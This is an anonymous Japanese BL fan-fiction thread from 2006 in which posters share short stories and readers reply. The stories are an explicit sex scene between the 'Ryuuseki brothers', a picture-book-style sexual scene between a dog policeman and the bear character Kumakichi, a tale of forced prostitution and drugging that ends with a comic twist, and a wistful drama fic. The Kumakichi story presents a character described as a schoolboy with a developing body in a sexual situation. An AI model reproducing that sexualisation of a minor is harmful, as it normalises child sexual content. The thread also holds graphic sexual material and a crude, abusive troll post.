萌え投下してスッキリ。虹に帰ります。

>>105世間知らずの古典教師萌え…(*´Д`)ハァハァ <> 風と木の名無しさん<>sage<>2006/09/30(土) 03:56:21 ID:TtsZhsZC0<> >>105
GJ!!
まさか、あのレスからこんな話が来るとは思わなかったw
<> 風と木の名無しさん<>sage<>2006/09/30(土) 05:51:17 ID:dpMsm7Dz0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  流石兄弟。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  ヘタレ攻め×教官受け。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ナゼニアサカラ…
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
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<> 1<>sage<>2006/09/30(土) 05:52:22 ID:dpMsm7Dz0<>
 ああ見えても、兄者のベッドでの偏差値はかなり高い。
 惚れてる弱みを抜きにしても、なかなかの水準だ。
 寡聞にして他の男は知らないが(知りたくもないね)、つきあっていた女の子たちと較べても段違いにいい。スペック的にも反応も。

 視覚的にも楽しめる。
 出歩かないので抜けるように白い膚が、欲望にうっすらと色づいていく様など感動すら覚える。
だから「抜けるような」と形容されるのだと、激しく納得した。
 鳴き声もいい。抑えようとして抑えきれない声が、細く低くたなびいていくのも堪らない。

 要するにオレは相手に充分に満足していて、もちろん兄者も同じだと思い込んでいた。
その日の夜まで。
<> 2<>sage<>2006/09/30(土) 05:53:28 ID:dpMsm7Dz0<>  甘美い疲労と充足感。
 傍らにはしどけない姿で横たわる秘密の恋人。
 これぞ男子の本懐。
 だけどその恋人が潤んだ瞳でオレに言う。
「……上の方、やってみたいのだが」
 最初聞き違いかと思い、それから狼狽した。
「ゴメン、足りなかった?」
 慌てて再戦の用意をしかけると、兄者が腕を引く。
「違う。スマンが一度交替してみたい」
「……向かないと、思うぞ」
 抱くほうはかなり能動的にならなきゃいけない。無理だ、とオレは思った。
「やってみなけりゃわからんだろう」
「やってみなくてもわかりますよ」
「なんにしろ、オマエだけずるい。替わってくれ」
 口を尖らせて彼は言う。きっぱりと拒否しようとして、口ごもった。
<> 3<>sage<>2006/09/30(土) 05:56:02 ID:dpMsm7Dz0<>  もしもの話だが、オレが交通事故にでもあって死んでしまったら、この人はどうなってしまうのだろう。
 後を追ってくれなんて思わない。出来れば、大事にしてくれる人を見つけて幸せになって欲しい。
 でも、その相手は女の子でなければ困る。
 他のオトコがこいつに触れ、服を脱がし、きめ細かい膚に唇を這わせるなんて冗談じゃない。
更にその後、しかるべき行為に移るんじゃ、死んでも死にきれん。
 ここまで来るのに、どれだけ手間と時間と金をかけたと思う。
恫喝、策略、権謀術数、なだめてすかして奉仕して、口説いて頼んで泣き落とし。
 それはそれは血の滲むような努力をして作り上げた寝台の上の芸術品だ。
のうのうと徳川家康みたいな真似をされてたまるか。

 しかし、と考える。兄者が女の子とすることは可能か否か。
 現時点では不可能と結論付ける。
 オレが与えたのは極端に片寄った性知識だ。オレ自身を昇天させるには充分でも、女の子を鳴かせることは出来ないだろう。
 そう考えると申し訳ない気分になってくる。
 やはりその場合、応用が利くのはこちらのほうだろう。ここは涙を飲んで自分が引くべきではないだろうか。

「OK、わかった。譲るとしよう」
「本当か」
 陽が差すような笑顔見せた。こういうあたりがたまらない。
 たとえ相手が処女だとしても女の子は天性の恋達者で、感情を表すとき無意識に視線を計算する。
それはそれで魅力があるが、うちの天然TNTにはかなわない。

「わが子を初めてのおつかいにやるより不安だ」
「いや、安心しろ。大船に乗ったつもりでいればよい」
 泥舟に乗った気分だ。 <> 4<>sage<>2006/09/30(土) 06:00:01 ID:dpMsm7Dz0<>
「じゃ、とにかく脱いでくれ」
「いや待て、ここはエクセサイズだ。脱がせてみろ」
「うむ、わかった」
 言うなり釦を引きちぎった。
「違ーーーうっ」
 さっそくダメ出しだ。
「なぜそう無茶をする。ボタン付けも結構面倒なんだぞ」
「ワイルドでいけない男の魅力、と思ったのだが」
「大いなる勘違いだ。初心者は初心者らしく基本に忠実に行動しとけ」
「スマソ」
 素直は素直なんだが。
「それと性急にコトを進めるな。まずは何か話しかけて相手をリラックスさせ、ゆっくりと取りかかれ」
「了解。…断食力士はいかにして新弟子検査をクリアーしたか、知ってるか?」
「知るかよ!ってか、空気読め!」
「話せ、と自分で言ったではないか」
「この状況では通常の雑談はしないんだよっ。なんか相手をくどくとか誉めるとか、色っぽい話題をふれ」
「弟者に対してか?」
「オレは毎回アンタに対してどれほど言葉をつくして……。いや、いい。とにかくこちらを女の子だと思って話せ」
「無理」
「無理じゃねぇ。命がけで思い込め。そしてくどけ」 <> 5<>sage<>2006/09/30(土) 06:03:09 ID:dpMsm7Dz0<>  精神統一のためかしばらく目を閉じてぶつぶつ言っていた兄者が、瞳を開いた。
そのまま黙ってこちらを見下ろす。左手をゆっくりとオレの頬に当て、普段より少し低い声で呼びかける。
「……お嬢さん」
 レトロだが悪くない。その調子だ。
「ご趣味は?」
「見合いじゃねぇーーーーっ!」
 思わず、兄者の後頭部をはたく。彼はそこを撫でながら言葉を返す。
「コトを始める前からそんなに興奮するとハゲるぞ」
「興奮の意味が違うわ。もういい、次、キスだキス!それなら流石に慣れているだろう」
「ああ」
 いつもは自分のほうから下ろしていく唇が、反対に重ねられていく。吐息が甘美い。
 舌先がやわらかく内部をくすぐる。鼓動が少し速くなり、体の奥が熱くなった。
 兄者は静かに唇を離し、そのままそれを耳たぶにあてた。
 ゆるい快感。指先がそっと肩を撫でている。
 瞼が重くなり、自然に閉じられる。視覚を失うと他の感覚は研ぎ澄まされ、触感が異常に鋭くなる。
 かけられた手に力が加わった。同時に世界が反転する。 <> 6<>sage<>2006/09/30(土) 06:05:30 ID:dpMsm7Dz0<>
「をい……」
「今忙しいのだが、何か?」
「言いたいことが幾つかある。とにかくそれを外せ」
「非常に切羽詰まった状況であるのだが、弟者がどうしてもというのなら聞いてやらんでもない」
「どうしてもだ。その危険物はいったんしまえ」
「全く注文の多い男だ」
 突き付けられていた物が収納される。 <> 7<>sage<>2006/09/30(土) 06:06:58 ID:dpMsm7Dz0<>
「で、話したいこととはなんだ」
「まず、いきなりひっくり返すな。オレは亀じゃねぇ」
「そうしなければ出来ないではないか」
「同意に基づいてやっているわけだから、依頼されれば協力する。それと、だ。
忘れているかもしれんが、オレは未経験だ。急激に事を展開させるな」
「充分気持ちよさそうだったが」
「イントロからいきなりクライマックスにはいけない。物事には順序というものがある。
あと、アイテム抜きで実行する気か。無理だぞ」
「と、言うと」
 仏頂面で説明する。とんだ羞恥プレイだ。兄者は感心して聞き入っている。
「今まで気づかなかったのか」
「こっちの方は判っていたが、そっちのほうは知らなかった。同性間でも必要なのだな」
 思わず白い目で見ると、肩をすくめた。
「いつも、その頃には訳がわからなくなっているから」
 眉を寄せて、切なげに俺を誘う、いつものあの表情がフラッシュバックして、頭が沸騰しかける。
オレは絶対にあんな顔は出来ない。

「まあとにかく、甘い言葉でも囁きつつ、こっちがいいというまで無茶をしないことだ」
「了承した」 <> 風と木の名無しさん<>sage<>2006/09/30(土) 06:13:39 ID:dpMsm7Dz0<> き、規制が。一時中断します。 <> 風と木の名無しさん<>sage<>2006/09/30(土) 07:16:30 ID:dpMsm7Dz0<> 大丈夫かな?再開。 <> 8<>sage<>2006/09/30(土) 07:20:22 ID:dpMsm7Dz0<>
 くすぐるような口づけが、いくつも重ねられていく。
 猫に似た舌先が、柔らかに動いて気をそそる。
 温かな指が髪をなで上げ、唇に触れる。そのままゆっくりと差し込まれ、ひどく淫らに抜き差しされる。
「弟者……次、どうすればいい?」
「そのまま続ければ……いい……」
 濡れた指先が、しっとりと胸元を掠め、下がっていく。
「こうですか、わかりません!」
 急に兄者が内腿に指を滑らせた。
「……貴様、なめとるのか」
「舐めるんですね!判りました!」
「ちょ…待……」
 想像以上の快感が脳天を貫いた。つま先と指がシーツを乱す。
思わず逃げようとして、罠にはまった。
 腕で作った優しい檻が、俺を内部に閉じ込める。
 少し濡れた口元を片手でぬぐう兄は、不似合いに酷薄な表情を見せた。

「………兄者……」
 腕の中に監禁されたまま、ゆっくりと煽られていく。
腐敗する果実のように体の芯が痺れていき、少しづつ、融けていく。
 再び耳もとに唇が当たる。
 かすかな息が、焦れったい。
「………こしあん……」
「………?」
 登りつめつつある体とは逆に、思考力は低下していた。
 何を言われているのか、理解できない。

「……シュークリーム……アイスクリーム……」
「………!」
 言われていることはわかったが、融けすぎて、熱すぎて、静止できない。

 甘い言葉を囁きながら、オレの間抜けな恋人は、優しくゆっくりと位置を変えていく。 <> 9<>sage<>2006/09/30(土) 07:24:44 ID:dpMsm7Dz0<>
「……苺パフェ……あんみつ……」
「……バカ」
 ひんやりとした液体が塗布されるのを感じ、わずかに正気を取り戻す。
文句をつけようとした唇を、アイツが塞ぐ。
 多分、人生において上位3番内に入るキス。
 オレはどこかが壊れてしまう。

「……カスタード・プリン……それと……」
 いつだってこいつはやすやすと、ココロの中に入り込むのだ。
 それがカラダであっても変わりはない。
「………弟者」
 彼にとってオレは甘いものなのだろうか。
オレにとってのアンタは甘美くて、酸っぱくて、時に苦い。


 快楽が自分を蝕んでいっても、理性が硝子のように砕け散っても、オレは少しも驚かなかった。
 破片の一部に兄者が映る。
 先刻までの様子を微塵も残さぬ男の顔。
 口許に含んだ微かな笑みが、何を意味するのか俺は知らない。
 自分はもっと呆けた顔でこの人を抱いているだろう。

 開いたオレの目に気づいた彼の微笑いが、深くなった。


 ………兄者の、ベッドでの偏差値は、思った以上に高い。

                                       (了) <> 風と木の名無しさん<>sage<>2006/09/30(土) 07:31:44 ID:dpMsm7Dz0<>  ____________
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 | | □ STOP.       | |
 | |                | |           ∧_∧ ヘタレゼメトイウモノヲマチガッテイルキモスル
 | |                | |     ピッ   (・∀・ )
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 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
>>111姐さん、続きをぜひ!(´Д`*) <> 風と木の名無しさん<>sage<>2006/09/30(土) 08:26:30 ID:PUmHb/zp0<> >>130
姐さんGJ!
す…凄まじく萌えた。笑いながら萌えた。
お礼に つ【モンブラン】進呈 <> 風と木の名無しさん<>sage<>2006/09/30(土) 09:25:54 ID:IjQ4+FGE0<> >>130
断食力士でハナミズ噴いた。超GJ。 <> 風と木の名無しさん<>sage<>2006/09/30(土) 09:39:16 ID:EpAr+Uu7O<> >>116
萌えた(*´д`) <> 風と木の名無しさん<>sage<>2006/09/30(土) 10:15:34 ID:EcCrEaQA0<> >>130
爆笑の中にも絶妙な萌えを本当に(ry
GJGJ! <> 1/5<>sage<>2006/09/30(土) 11:26:43 ID:3A2Mvn0J0<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!

ギャグマソガ日和 おまわりさん×クマ/吉 絵本風です


 がたん、と、ふたりのほかにはだれもいないとりしらべしつにいすのなるおとがしました。
「きみ、ほんとうは」
あいじょうのかけらもないようなつめたいめで、いぬのおまわりさんはつぶやきます。
「ぼくにこうされたくて、そんなことをしているんだろう」
 いぬのおまわりさんはクマ/吉を、つきささるようなめせんでみさげました。
 「たちなさい」
 うむをいわさぬことばに、クマ/吉はふるえるひざをしったしてたちあがります。
 「はは、・・・いけないこだ」
 いぬのおまわりさんは、クマ/吉のかはんしんをみてちょうしょうしました。
 それもそのはず、このようなじょうきょうかのなか、クマ/吉のかはんしんはしゅちょうしはじめています。
 いじょうなじょうきょうにこうふんしてしまったのでしょうか・・・。
<> 2/5<>sage<>2006/09/30(土) 11:27:20 ID:3A2Mvn0J0<>  「きみのものが、いたいけなしょうじょのみずぎをもちあげているよ」
 そうです、クマ/吉はきょう、ニャン/美ちゃんのみずぎをぬすんだというようぎでれんこうされたのです。
 おんなのこようのみずぎをきて、つめたいとりしらべしつのなか、おまわりさんにみくだされている・・・。
 そうおもうと、クマ/吉のせすじになにやらぞくぞくとしたものがかけあがりました。
 じっさい、このようなことははじめてではありません。
 しょはんのときは、じぶんがしょうがくせいということもあってか、もうしないようにとためいきをつかれたものですが、それがにかいさんかいとつづくにしたがい、いぬのおまわりさんは、おまえはくずだしゃかいのごみだとばとうしてくるようになりました。

 それがなんともいえずきぶんをこうようさせ、からだをもじもじさせはじめたクマ/吉をみとがめたおまわりさんが、おまえはへんたいだといいながらこんなことをしたのはなんどめのときだったでしょうか・・・。
 ひたり、と、みずぎをきただけのせなかにつめたいかべがあたります。クマ/吉ははっとして、めのまえにたつおまわりさんをみあげました。
 おまわりさんは、いいかっこうだね、と、つくえにすわりあしをくんでいます。
 そのつめたいいいかたがなんともいえず、クマ/吉はふるりとかたをふるわせました。 <> 3/5<>sage<>2006/09/30(土) 11:28:38 ID:3A2Mvn0J0<>  「なかなかおおきくならないね」
 なれてしまったのかい、このいじょうなじょうきょうに?
 いぬのおまわりさんはクマ/吉のかはんしんをみて、つまらなさそうにいいました。
 さきほど、じこをしゅちょうしていたクマ/吉のかはんしんは、つめたいかべにさまされたのか、じゃっかんちいさくなってしまっていました。
 「しばられたほうがかんじるかい」
 いぬのおまわりさんはそういうやいなや、いつもクマ/吉をれんこうするときのようにあらなわでクマ/吉のてくびをしばり、そしてそのままぐいとうえへもちあげました。
 いくらくまとはいえ、まだはってんとちゅうのしょうねんのからだはいともかんたんにもちあげられてしまいます。
<> 4/5<>sage<>2006/09/30(土) 11:29:15 ID:3A2Mvn0J0<>  クマ/吉はめせんのすぐさきに、おまわりさんのつめたいめをかんじました。
 ただ、それだけで、いともかんたんにクマ/吉のかはんしんはもういちどもたげはじめてきます。
 たちあがってきたかはんしんはたらたらとしるをこぼし、みずぎにしみをつくっていきました。
 「いけないこだ、きみは、ほんとうに」
 いぬのおまわりさんはそういいながら、ぐいぐいとひざでクマ/吉のかはんしんをしげきします。クマ/吉はそのこういに、のうてんをつきぬけるようなきもちよさをかんじました。
 それにきをよくしたのでしょうか、いぬのおまわりさんはクマ/吉をつくえのうえにくみふせました。
 がたんとつくえのうえのですくらいとがゆれ、ちかちかとうすぐらいへやをてらしています。
 たちあがったかはんしんがつくえにおしつけられていたい、とおもうひまもなく、クマ/吉はくびすじにおまわりさんのといきをかんじました。
 「いけないこにはおしおきをしなくてはね、ぼくはおまわりさんだから」
 クマ/吉は、これからおこなわれるであろうこういをそうぞうして、きたいときょうふにぶるぶるとふるえました。 <> 5/5<>sage<>2006/09/30(土) 11:30:20 ID:3A2Mvn0J0<> ○○○○○○

 「もう、しないようにね」
 やさしいかおにもどったいぬのおまわりさんがそういいます。
 ごめんなさい、といいながら、クマ/吉は、それでもまたじょしのたいそうふくや、みずぎや、したぎをぬすんでしまったり、おいかけたり、のぞきをしたり、してしまうだろうとおもいました。

 それは、ほんとうにおんなのこがすきだからやってしまうのか、おまわりさんとのひみつのひとときにこがれてしてしまうのか、もはやクマ/吉にはわかりませんでした。



□ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ!
読みにくくてすいませんでした… <> 風と木の名無しさん<>sage<>2006/09/30(土) 16:52:39 ID:vOU+c27J0<> ウヒョーまさかこんなカプがあるなんて!
>139GJです!!!!!!!!!!!!!!! <> 風と木の名無しさん<>sage<>2006/09/30(土) 20:27:20 ID:TT5XcXt00<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  とあるげいにんさんです
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄| エロ無くてごめんなさい…
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ うーん
 | |                | |     ピッ   (´∀` )(・∀・; )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 1/2<>sage<>2006/09/30(土) 20:28:32 ID:TT5XcXt00<> 暑かった。

羽毛布団を蹴飛ばした。布団は一瞬中を舞い、そしてばさりと落下した。
隣で寝ている人の上に。音と感覚で起きてしまうだろうか。
そう思うと、少し胆が冷えた。思わず目を瞑った。
しばらく息を潜めていたが、隣の人の寝息は規則正しく続いているようで、ほっとした。
起こさずに済んだようだ。何せ、睡眠を妨害されるのが大嫌いなこの人なのだ。
暑いせいか喉が渇いた、と思った。何か飲もうか。ゆっくり身体を起こす。
まだ室内は薄暗い。時計を見ると、4時過ぎをさしていた。
サイドテーブルの下に、小さな冷蔵庫が置いてある。
音があまりしないように、ゆっくり開けた。
中にはペットボトルに入ったグレープフルーツジュース、チョコレート、それと何故か卵。
ジュースを掴んで、蓋をねじった。グレープフルーツの香りが微かに鼻に届く。
ああ、自分は本当に喉が渇いていたんだ、そう思いながら一気に全部飲み干した。
「っくはぁ…!」
思わず息が出た。いけない。寝ている人を起こしてしまうだろうか。
横を見ると、寝ていた筈の人は薄暗い部屋の中、此方をじっと見ていた。 <> 2/2<>sage<>2006/09/30(土) 20:29:13 ID:TT5XcXt00<> 「…」
「許さねえ」
“寝ていた筈の人”はそう、吐き捨てた。
「ちょ、待って、…ごめん」
「一昨日俺がわざわざ買ってきたんだ、それをお前は全部飲みやがった」
その声は明らかに怒っていた。いけない。
殴られるだろうか。家を追い出されるだろうか。とりあえず素直に謝った。
「…すいませんでした」
次に彼が紡ぐ言葉は、怒りだろうか。呆れだろうか。それとも…?
「おい、コート着ろよ」
「…え?」
「飲んじまったものは仕方無いだろ、買いに行こうって言ってるんだよ」
「怒ってないの?」
「ああ」
「ありがとう」
そう言って、自分は寝間着の上に黒いコートを羽織った。 <> 2/2<>sage<>2006/09/30(土) 20:31:02 ID:TT5XcXt00<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ orz
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
<> 風と木の名無しさん<>sage<>2006/09/30(土) 21:56:18 ID:NRYe474UO<> >>142-143
萌えないしつまんない。
リア厨の方ですか? <> 風と木の名無しさん<>sage<>2006/09/30(土) 22:03:30 ID:sEJnzPIv0<> 私はそれなりに楽しめたけど。 <> 風と木の名無しさん<>sage<>2006/09/30(土) 22:15:13 ID:Pyi9FmQ30<> ヌルーしないと駄目ってお母さん言ったでしょ! <> 風と木の名無しさん<>sage<>2006/09/30(土) 22:58:44 ID:5cVqVrCm0<>           _ノヽ-―‐{\‐- 、    
       ,.. ‐.::´::.::.ノ: : : : :ヽ:::: ̄:`ヽ  
       /:::::::::;: イ | : : : :: | 、:\:::::::::::\  
     {:::::::.イ: .:ル|!: : : : A:L!_:l.:ヽ:::::::::::}  
      ヽ:/. |: :イ|:ハ: : /  ヽヽト.:{_:::::::: |  
      |:: |: .:l ● V   ● /:/.:ト\ノ   やあ>>1-1000
      |/ハ:.:lつ 、__,、__j⊂/イ.:/ヽ-、} 
      ヽヽ∧   {  ノ  /ィv、_ノ:l    童貞諸君の臭いチンポ
        r‐ 、!:.:.\ ` ̄ _ ̄イ:/ ヽ:.:! いじった手でパソコン打っているのかい? 
      /{  /7ーく }7j⌒ヽl>_フ/= 、/:.:.|   相手がいないからってお母さん犯しちゃだめだぞ♪
                         ここに来るといい。楽しませてあげよう
http://hobby8.2ch.net/test/read.cgi/collect/1159438338/
<> 風と木の名無しさん<>sage<>2006/09/30(土) 22:59:48 ID:bQaTTLLx0<> >>135
正直萌えました <> 1/4<>sage<>2006/10/02(月) 17:15:37 ID:c+tMqvdc0<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガ オオクリシマース!


無理やり首輪を引っ張られて立たされると、背中をドンと押された。
「じゃぁ1時間、好きにしていいから」
体に力が入らないので、よろけて誰か分からないヤツにしなだれかかるような形になる。
一応体を起こそうとしてみるが、やはり体は言うことを聞かない。
「…何か様子おかしいけど、風邪でもひいてんの?」
俺が倒れないよう、手首をつかんだ男が、俺の頭上で彼に話しかける。
「あぁ、暴れられると面倒だろ? さっき2時間ぐらい遊んでやったんだ。さんざん疲れた
 だろうから、多分、されるがままだぜ」
マジで、と笑いあう複数の声が、ぼんやりする俺の頭にガンガンと響いた。
立っていられない俺は、地面にへたりこむ。すると、何本か周りから手が伸びて、俺の体を
容赦なく弄ってきた。疲れて抵抗する気力が無い俺は、たまらず低い声を出してしまうが―――
「おい、誰だそんな声出してんのは」
彼の声が、低く響いてきたので、俺は我慢して歯をくいしばった。抵抗する気力なんて無い。 <> 2/4<>sage<>2006/10/02(月) 17:17:05 ID:c+tMqvdc0<> 全ては3ヶ月前の俺の告白が原因だ。
男女問わず友達の多い彼に憧れ、友達になりたいとお願いした。
いつも店の中心にいる彼と、いつも店の隅で一人いる俺。
一度でいいから、彼のような人と一緒に遊んでみたいと思った。
彼の横に立って、一生一緒に歩いていきたかった。彼に触れられたかった。
しかし彼は、そんな俺の告白を聞き入れなかった。
「彼のためなら何でもする」という俺の気持ちだけを利用して、体を好き勝手弄んだ。
まぁ、それだけなら、まだ我慢できたかもしれない。
どこかの騙されやすい女のように、「彼が私を奪ったのは、私を愛しているから」みたいな、
自分をだます欺瞞の言葉で、俺は自分を納得させただろう。
しかし彼はそれすら許してくれなかった。
彼は、翌日から、俺の体をあっさりと売り飛ばした。
閉店後の準備室。俺の知らない誰かが一人暮らしするアパート。倉庫。風呂。
「お前、毛ェゴワゴワだな」
なんていう言葉と共に、俺はいろんなヤツに体を触らせ、好き勝手される羽目になった。 <> 3/4<>sage<>2006/10/02(月) 17:17:59 ID:c+tMqvdc0<> しかも、それが彼自身の趣味なのか、俺に対する憎しみにも似た何かなのか。
彼が俺を呼び出すのは、毎日ではなかった。
この前の行為でつけられた傷口が、ふさがったと思った頃には、また傷つけられる。
行為自体に慣れたと思った頃に、時間を置いて、また苦痛と恐怖を味あわされる。
多分彼は、俺が悲鳴をあげて泣き叫ぶのを、喜んで喰らってるんじゃないだろうか。
最近ではそう思うほどに、彼は俺がボロボロになるよう、調節して、色々なヤツに買わせていた。
抵抗できないように、時には睡眠薬を使ったりもするようになった。
それにしても不思議なのは、俺みたいな不器量な男でも、お金出してでもやりたい人がいる、と
いうことだ。もしかして、口コミで広がっているのかもな、と思うほどに、彼にお金を払って俺の所へ
来る人間は、増えていた。

「よかったな。今日も一杯やってもらえたな」
全てが終わった後、彼はとても嬉しそうにそう言って、俺の頭をなでる。
俺をしつこいほどに陵辱し続けたヤツらは、誰もいなくなって、彼だけが俺の視界に
入る。この時だけは、錯覚しそうになる。彼は、俺を愛しているんじゃないか、と。
何となくそれで満足感を覚えるあたり、俺も壊れてきているのかもしれない。
「そういえば、お前を有名にするために、看板作ってやったからな。これでもっと、お前を
 買ってくれる人、増えるかもしれないぞ」
しかし、そんな一時は、彼の酷薄な一言によって、いつも壊される。
疲れきって声もあげられない俺に、彼は汚い木に、彼自身が書いただろう文字を、嬉しそうに
俺に見せた。 <> 4/4<>sage<>2006/10/02(月) 17:18:52 ID:c+tMqvdc0<>
『大型犬のトリマー・シャンプーの練習台に、犬、お貸しします。』

戦慄を覚え、尻尾の先まで凍りつく俺に、彼は満面の笑みで俺の頭をなでた。
「売れ残りだったお前が、こんな形で売れっ子になってくれて、俺は嬉しいよ」



□ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ! 色々ゴメン! <> 風と木の名無しさん<>sage<>2006/10/02(月) 18:45:53 ID:4nTm6v+h0<> ワラタ。読み返してさらに萌えた。 <> 風と木の名無しさん<>sage<>2006/10/02(月) 21:49:46 ID:1otQ67hY0<> 犬うーー(つД`)

でもそんな飼い主が好きなんだな・・・ <> 風と木の名無しさん<>sage<>2006/10/02(月) 22:19:30 ID:q5DFZhS4O<> いやいやいや告白てどないしてん、と
裏手でつっこむのは野暮ですねごめんなさい <> 風と木の名無しさん<>sage<>2006/10/02(月) 23:50:38 ID:jVcGtqJUO<> 読み返したら伏線がけっこうあるんだね。萌えた。 <> 風と木の名無しさん<>sage<>2006/10/03(火) 01:56:26 ID:GnvRvqYU0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  ふと見たドラマで萌えキタコレ昨日の公園。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  尻切れトンボ。書き殴ったので滅茶苦茶。
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/03(火) 01:57:02 ID:GnvRvqYU0<> 今思い出した。
毎日のようにお前の顔を思い浮かべることはあったくせ、
十年以上も前のことなんてもう随分思い浮かべてもいなかったよ。
そこらのがきんちょだった俺とは違って、ほっぺたの真ん丸いお坊ちゃまみたいだったお前。
実際海外赴任するような父親にこの町に置いてかれたお前と、一介の酒屋に生まれた俺。
俺のずたずたなグローブを投げ渡した時のあの顔、夕暮れに染まるあの顔。
息のあがった体でお前は必死にボールを追いかけて、俺の手が届かないところまでそれを投げた。
その時より随分とたくましくなった体、その時から変わらないなまっちろい体。
放物線をこなれた風に描き、しっかりと俺のグローブの中に収まるボール。

そして、グローブをいつまでも握ってトボトボ俺の後ろをついてきていたお前は、
思春期の体の変化と沿うように、俺を置いてけぼりにした。
真ん丸いほっぺたは引っ込んで、少なくとも俺よりは整った涼しい輪郭を呈すようになり、
骨ばってきた肩をそれ相応の筋肉が覆い、瞳はスッと通った鼻筋を伴い凛と俺を見据えた。
気付けば二人ではなく三人になっていた俺たちが、
大きな荷物を抱え込むお前との別れを惜しむことになっても、俺はすんなりと受け入れられた。
ガキだったなりにわかってたんだ、手が届かない人種がいるってことぐらい。
今思い出した。
その前夜喋りつかれて眠ったお前のうやうやしく繊細なラインを描く顎を。

「俺が今日死ぬとしたら、お前はどうする?」蒼白な顔のお前と見詰め合う。
さあ、お前は死にそうにない。少なくとも見えるところじゃ。
俺にここまで言わせるぐらい、眩しいぐらいにお前は俺を照らしてるんだ。
そんな輝いているお前は、ほら、やっぱり意中の女の心ぐらい、簡単に奪えてるだろ。
だから、そんな顔をしていてほしくない。自転車を漕ぎ出すついでに振り返る。
茫然と立ち尽くした姿。駆け出して抱きしめたくなるのを堪えてまた自転車を漕ぎ出した。
俺にできることと言えば、これぐらいだけ。
これぐらいだけだ。
でも本当は、
「違うんだ、俺は……」

お前が……。 <> 風と木の名無しさん<>sage<>2006/10/03(火) 01:58:25 ID:GnvRvqYU0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ いつ「違う、俺はお前が…」
 | |                | |     ピッ   (・∀・ ) と言い出すか気になって全部見てしもた
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/03(火) 04:43:45 ID:h54+3Lkc0<> 昨日見てたよ。セツナス(つд`)
向こうで再会してるといいな。 <> 風と木の名無しさん<>sage<>2006/10/03(火) 07:24:59 ID:xN5PsdaZ0<> >>160
キタヨー見てた見てた!思わず泣けた
GJ! <> 風と木の名無しさん<>sage<>2006/10/03(火) 11:08:15 ID:1tnDJ8tA0<> >150-153
鬼畜物?とドギマギしながら読んでラストでテラワロス
それでもご主人様が好きなのがテラモエス
GJ!

>158-160
昨日見てたよー!GJ!
切なさ全開。泣けた。天国で再会していればいいなあ。 <> 風と木の名無しさん<>sage<>2006/10/03(火) 19:58:04 ID:nFNhyjV7O<> >>160
